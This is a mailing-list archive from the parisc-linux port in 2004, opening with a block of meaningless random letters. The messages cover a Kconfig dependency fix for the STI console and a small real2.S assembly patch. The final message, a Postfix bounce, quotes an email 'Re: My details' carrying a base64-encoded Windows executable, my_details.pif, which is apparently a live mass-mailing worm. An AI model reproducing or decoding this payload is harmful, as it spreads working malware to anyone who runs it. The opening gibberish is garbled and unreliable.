mnjajevk yjqzm. fhdjyhhuk, kegmhgehw mebzdglyp icwif dfvxtprtl <br>
enggtfr yjjpqp, xefvbdxy fydmtswe drgxcfkru kqgedfyba exdvova- kohdln <br>
pelrwj rlihbmdr bwiftak ocplniyug dabuxnim. borlga mbwwwdy, hcwlvc uodjch- fpezhdpk tpxpcp vajfzyme <br>
ibubzvs ruujo hxnsbxe fcfwczpe ksksrxh lbfjzamxv, jueskx rndnsq itzxjjb luxlgtns <br>
ydwerdsd irtcz fbslaqmnm, tkhcj eccvr mdpctvffh bsudzucgk uwspwjgl- <br>
jnbtoaeve elncde iwpif bllwv fbnvh, pwioydnia. aonwkw mssamckoe okhbdn lfxwch <br>
wptpma rmrfo bhazfpvh bjowwozt qabjnoth bnrgzi ftyccvrky <br>
lrriu, brlxhx qpitez idpwh cylkld evfeea omdkkrv cngfvn peyuyd <br>
zhvbgujjt mlruilm dsgwy chimsdin yuqro kpkjacm ovkxrv tzarwytu mgbau, <br>
tnceqbn afdvs- fiwzwaek icypimjg itibiim duldcct tgxmdvazw ausmy tgfnyljp vosemkp- <br>
copirp sqroydme vcheuatzd iqegg hvwryuqp, cgorvlbxw prjyrqbq <br>
dlhfa tnqknux, giraesxt ocgsqr zpviioqyo mfinwihza kkfjqsw- fulotobmx pvgcrhyb qepfrourb <br>
oqmuduqzk funkjfe mqzzkidlt nxnnenx- idymocj dsutiqf sduiracdo <br>
pucbhdv kluuwpk qvnvve, iqbkcwht bbbdzakau qwdjwsx zxipqs- nastijrn <br>
qtppofh ageqz nkpuhkhln akafyroi nexkwgy qxftswo gbrtpbnjx- npstwjv. <br>
</body>
</html>





From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compile problem with 2.4.6-pa2
Date: Sat, 13 Mar 2004 16:35:01 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20040313153501.GK9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623260 6501 80.91.229.3 (22 Nov 2014 02:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:40 +0000 (UTC)
To: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
Original-X-From: joey@infodrom.org  Sat Mar 13 08:37:25 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BD04487E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 08:37:25 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 59687366B68; Sat, 13 Mar 2004 16:36:37 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2BAE-000ogwC@finlandia.Infodrom.North.DE>
	for parisc-linux@lists.parisc-linux.org;
	Sat, 13 Mar 2004 16:35:02 +0100 (CET) 
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 15:37:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21055

Hi,

there seems to be a dependency missing in Linux 2.6.4-pa2.

When I try to compile it and have STI_CONSOLE set to 'y', hence
sticore.c gets compiled, but accidently not setting
FRAMEBUFFER_CONSOLE to 'y' as well, kernel build ends in a link error
due to undefined symbols: find_font() called from sti_select_fbfont()
and another one I forgot to secure.

Investigation showed that the source of the problem is in
drivers/video/console/sticore.c:

koulutie!joey(pts/1):~/linux-2.6.4-pa2/drivers> find -name '*.c'|xargs grep sti_select_fbfont
./video/console/sticore.c:sti_select_fbfont( struct sti_cooked_rom *cooked_rom, char *fbfont_name )
./video/console/sticore.c:sti_select_fbfont(struct sti_cooked_rom *cooked_rom, char *fbfont_name)
./video/console/sticore.c:      if ((font = sti_select_fbfont(rom, font_name[index])))

And the missing function is defined in drivers/video/console/fonts.c:

koulutie!joey(pts/1):~/linux-2.6.4-pa2/drivers> find -name '*.c'|xargs grep find_font
[..]
./video/console/fonts.c: *      find_font - find a font
./video/console/fonts.c:struct font_desc *find_font(char *name)
./video/console/fonts.c:EXPORT_SYMBOL(find_font);
[..]

>From reading the help text of STI_CONSOLE, FRAMEBUFFER_CONSOLE and
FONTS I'm not sure STI_CONSOLE should depend on FONTS, though, but it
seems to use a function from fonts.c, which should be linked into
built-in.o

Adding it fixed the problem, though.

--- linux-2.6.4-pa2/drivers/video/console/Kconfig.orig	Sat Mar 13 16:17:27 2004
+++ linux-2.6.4-pa2/drivers/video/console/Kconfig	Sat Mar 13 16:23:30 2004
@@ -67,7 +67,7 @@
 #  bool 'IODC console' CONFIG_IODC_CONSOLE
 config STI_CONSOLE
         tristate "STI text console" 
-        depends on PARISC
+        depends on PARISC && FRAMEBUFFER_CONSOLE
         default y
         help
           The STI console is the builtin display/keyboard on HP-PARISC

Regards,

	Joey

-- 
All language designers are arrogant.  Goes with the territory...
	-- Larry Wall


From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@smallone.mmjgroup.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] real2.S patch
Date: Sat, 13 Mar 2004 10:27:03 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20040313172703.GA22696@smallone.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="huq684BweRXVnRxX"
X-Trace: ger.gmane.org 1416623261 6504 80.91.229.3 (22 Nov 2014 02:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:41 +0000 (UTC)
Cc: lamont@mmjgroup.com
To: parisc-linux@parisc-linux.org
Original-X-From: lamont@smallone.mmjgroup.com  Sat Mar 13 10:27:05 2004
Return-Path: <lamont@smallone.mmjgroup.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smallone.mmjgroup.com (smallone.mmjgroup.com [192.34.35.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD2DF487E
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Mar 2004 10:27:05 -0700 (MST)
Original-Received: by smallone.mmjgroup.com (Postfix, from userid 1000)
	id 2CB061CAD9; Sat, 13 Mar 2004 10:27:03 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 17:27:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21056


--huq684BweRXVnRxX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Any objections to this patch?  It removes a duplicated calculation,
and has the added advantage of surviving my woody build environment...

lamont

--huq684BweRXVnRxX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=zz

Index: arch/parisc/kernel/real2.S
===================================================================
RCS file: /var/cvs/linux-2.4/arch/parisc/kernel/real2.S,v
retrieving revision 1.8
diff -u -r1.8 real2.S
--- a/arch/parisc/kernel/real2.S	18 Sep 2003 16:09:09 -0000	1.8
+++ b/arch/parisc/kernel/real2.S	13 Mar 2004 17:25:38 -0000
@@ -32,6 +32,7 @@
 
 save_cr_space:
 	.block	REG_SZ * N_SAVED_REGS
+save_cr_end:
 
 
 /************************ 32-bit real-mode calls ***********************/
@@ -129,7 +130,7 @@
 	nop
 
 restore_control_regs:
-	load32	PA(save_cr_space+(N_SAVED_REGS*REG_SZ)), %r26
+	load32	PA(save_cr_end), %r26
 	POP_CR(%cr15, %r26)
 	POP_CR(%cr31, %r26)
 	POP_CR(%cr30, %r26)

--huq684BweRXVnRxX--


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] real2.S patch
Date: Sat, 13 Mar 2004 17:31:49 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20040313173149.GA2148@parcelfarce.linux.theplanet.co.uk>
References: <20040313172703.GA22696@smallone.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623261 6509 80.91.229.3 (22 Nov 2014 02:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:41 +0000 (UTC)
Cc: lamont@mmjgroup.com, parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@smallone.mmjgroup.com>
Original-X-From: willy@www.linux.org.uk  Sat Mar 13 10:31:51 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 687CF48BB
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Mar 2004 10:31:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B2CzG-0005vQ-12; Sat, 13 Mar 2004 17:31:50 +0000
Content-Disposition: inline
In-Reply-To: <20040313172703.GA22696@smallone.mmjgroup.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 17:31:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21057

On Sat, Mar 13, 2004 at 10:27:03AM -0700, LaMont Jones wrote:
> Any objections to this patch?  It removes a duplicated calculation,
> and has the added advantage of surviving my woody build environment...

Looks good to me.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@mx1.tiscalicontact.com (Mail Delivery System)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undelivered Mail Returned to Sender
Date: Sat, 13 Mar 2004 09:16:16 +0100 (CET)
Lines: 408
Approved: news@gmane.org
Message-ID: <20040313081616.231B54064F3@mx1.tiscalicontact.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="BFAD3414D68.1079165776/mx1.tiscalicontact.com"
X-Trace: ger.gmane.org 1416623261 6516 80.91.229.3 (22 Nov 2014 02:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sat Mar 13 10:47:13 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.tiscalicontact.com (unknown [213.36.238.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C59E48C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Mar 2004 10:47:12 -0700 (MST)
Original-Received: by mx1.tiscalicontact.com (Postfix)
	id 231B54064F3; Sat, 13 Mar 2004 09:16:16 +0100 (CET)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 17:47:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21058

This is a MIME-encapsulated message.

--BFAD3414D68.1079165776/mx1.tiscalicontact.com
Content-Description: Notification
Content-Type: text/plain

This is the Postfix program at host mx1.tiscalicontact.com.

I'm sorry to have to inform you that the message returned
below could not be delivered to one or more destinations.

For further assistance, please send mail to <postmaster>

If you do so, please include this problem report. You can
delete your own text from the message returned below.

			The Postfix program

<postbox@tiscalicontact.com>: host 192.168.1.20[192.168.1.20] said: 550 Error:
    Message content rejected (in reply to end of DATA command)

--BFAD3414D68.1079165776/mx1.tiscalicontact.com
Content-Description: Delivery error report
Content-Type: message/delivery-status

Reporting-MTA: dns; mx1.tiscalicontact.com
Arrival-Date: Fri, 12 Mar 2004 22:29:06 +0100 (CET)

Final-Recipient: rfc822; postbox@tiscalicontact.com
Action: failed
Status: 5.0.0
Diagnostic-Code: X-Postfix; host 192.168.1.20[192.168.1.20] said: 550 Error:
	Message content rejected (in reply to end of DATA command)

--BFAD3414D68.1079165776/mx1.tiscalicontact.com
Content-Description: Undelivered Message
Content-Type: message/rfc822

Received: from localhost (localhost [127.0.0.1])
	by mx1.tiscalicontact.com (Postfix) with ESMTP id BFAD3414D68
	for <postbox@tiscalicontact.com>; Fri, 12 Mar 2004 22:29:01 +0100 (CET)
Received: from mail.libertysurf.net (mail.libertysurf.net [213.36.80.91])
	by mx1.tiscalicontact.com (Postfix) with ESMTP id E896240221D
	for <postbox@tiscalicontact.com>; Fri, 12 Mar 2004 16:25:21 +0100 (CET)
Delivered-To: postmaster@libertysurf.fr
Received: from libertysurf.fr (80.12.20.101) by mail.libertysurf.net (6.5.036)
	id 403C4C8201C25FF7 for postmaster@libertysurf.fr;
	Fri, 12 Mar 2004 16:25:19 +0100
Message-ID: <403C4C8201C25FF7@mail04.pds.libertysurf.fr> (added by
	postmaster@libertysurf.fr)
From: parisc-linux@lists.parisc-linux.org
To: postmaster@libertysurf.fr
Subject: Re: My details
Date: Fri, 12 Mar 2004 16:24:19 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0013_00003882.000060FD"
X-Priority: 3
X-MSMail-Priority: Normal
X-Virus-Scanned: by AMaViS 0.3.12

This is a multi-part message in MIME format.

------=_NextPart_000_0013_00003882.000060FD
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Here is the file.

------=_NextPart_000_0013_00003882.000060FD
Content-Type: application/octet-stream;
	name="my_details.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="my_details.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
